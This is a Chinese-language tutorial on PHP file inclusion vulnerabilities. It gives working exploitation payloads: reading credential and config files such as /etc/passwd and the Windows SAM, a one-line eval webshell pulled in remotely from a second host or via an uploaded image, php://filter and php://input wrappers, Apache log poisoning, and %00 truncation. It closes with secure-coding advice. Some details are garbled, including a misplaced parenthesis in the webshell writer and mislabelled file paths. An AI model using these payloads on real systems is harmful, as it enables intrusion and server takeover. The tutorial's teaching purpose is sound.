文件包含漏洞
一般PHP语言最容易出现包含漏洞,其他语言不常见。
PHP提供了四个文件包含的函数,分别是include(),include_once,require(),require_once(),区别如下:
- require 找不到被包含的文件时会产生致命错误(E_COMPILE_ERROR),并停止脚本;
- include 找不到被包含的文件时只会产生警告(E_WARNING),脚本将继续执行。
- include_once 与include()语句类似,唯一的区别是如果该文件中的代码已经被包含,则不会再次包含。
- require_once 与require()语句类似,唯一的区别是如果该文件中的代码已经被包含,则不会再次包含。
文件包含示例
(1)本地包含
test1.php 代码如下:
<?php $a='aaa'; echo $a; ?>
test2.php 代码如下:
<?php include("test1.php"); ?>
执行test2.php 会输出 aaa。
此处注意,如果test2.php 包含的是一个 txt文件,并且这个txt文件内容符合php语法规则,则txt文件会被当成php文件执行。 如果包含非php语法规则的内容,则会暴露其源代码。
(2)远程包含
远程包含功能在php.ini 中配置:allow_url_include=On
创建aaa.txt文件,文件内容符合PHP语法规则。
我们将test2.php的内容修改为:
<?php include($_GET['page']); ?>
此时,在url中输入:http://www.XXXX.com/test2.php?page=http://www.XXXX.com/aaa.txt
将会执行aaa.txt的内容。
文件包含利用
(1)读取敏感文件
访问URL:http://www.XXXX.com/test2.php?page=/etc/passwd 如果目标主机文件存在,并且有相应的权限,那么就可以读出文件的内容,反之会被警告。
常见的敏感信息路径:
①Windows系统
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //存储windows系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\windows\php.ini //php配置信息
C:\windows\my.ini //Mysql配置文件
②UNIX/Linux系统
/etc/passwd //apache2默认配置文件
/usr/local/app/apache2/conf/http.conf //apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-chosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysql的配置文件
(2)远程包含shell
如果目标主机allow_url_fopen选项是激活的,就可以尝试远程包含一句话木马,如:http://www.X.com/1.txt,代码如下:
<?fputs(fopen("shell.php","w")),"<?php eval($_POST[xxxxx]); ?>") ?>
访问http://www.XXXX.com/test2.php?page=http://www.X.com/1.txt,将会在test2.php所在的目录下生成shell.php,内容为:<?php eval($_POST[xxxxx]); ?>
(3)本地包含配合文件上传
上传图片,文档等,路径为:/uploadfile/1.jpg
内容为:<?fputs(fopen("shell.php","w")),"<?php eval($_POST[xxxxx]); ?>") ?>
访问http://www.XXXX.com/test2.php?page=/uploadfile/1.jpg,将会在test2.php所在的目录下生成shell.php。
(4)PHP封装协议
file:// 访问本地文件系统
http:// 访问HTTP(S)网址
ftp:// 访问FTP(s)URLs
php:// 访问输入/输出流 (I/O streams)
zlib:// 压缩流
data:// 数据(RFC 2397)
ssh2:// Secure Shell 2
expect:// 处理交互式的流
glob:// 查找匹配的文件路径
①使用封装协议读取PHP文件
如http://www.XXXX.com/test2.php?page=php://filter/read=convert.base64-encode/resource=config.php
访问URL,即可得到经过base64加密的文件内容,解密即可。
②写入PHP文件。
php://input 使用时必须开启 allow_url_include。
URL:http://www.XXXX.com/test2.php?page=php://input
然后提交数据,则可以执行代码。
(5)包含Apache日志文件
如果存在本地包含漏洞导致无法上传文件时,则可以找Apache的路径,利用包含Apache日志文件也可以获取Webshell。
Apache运行后一般默认会生成两个日志文件,access.log(访问日志)和error.log(错误日志),访问日志文件记录了客户端的每次请求和服务器响应的相关信息。
如果访问一个不存在的资源时,如http://www.XXXX.com/<?php phpinfo(); ?>,则会记录在日志中,但是代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过编码,就可以把<?php phpinfo(); ?> 写入apache的日志文件,然后可以通过包含日志文件来执行此代码。
(6)截断包含
如果php文件中的包含语句是: include $_GET['page']."php";
看似修复了包含漏洞,其实不然,我们可以通过%00截断来绕过,如?page=1.jpg%00
但是如果magic_quotes_gpc=on %00截断将实效。
安全编写包含
- 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;
- 路径限制:限制被包含的文件只能在某一文件夹内,一定要禁止目录跳转字符,如:“../”;
- 包含文件验证:验证被包含的文件是否是白名单中的一员;
- 尽量不要使用动态包含,将需要包含的页面固定写好,如:include("head.php")。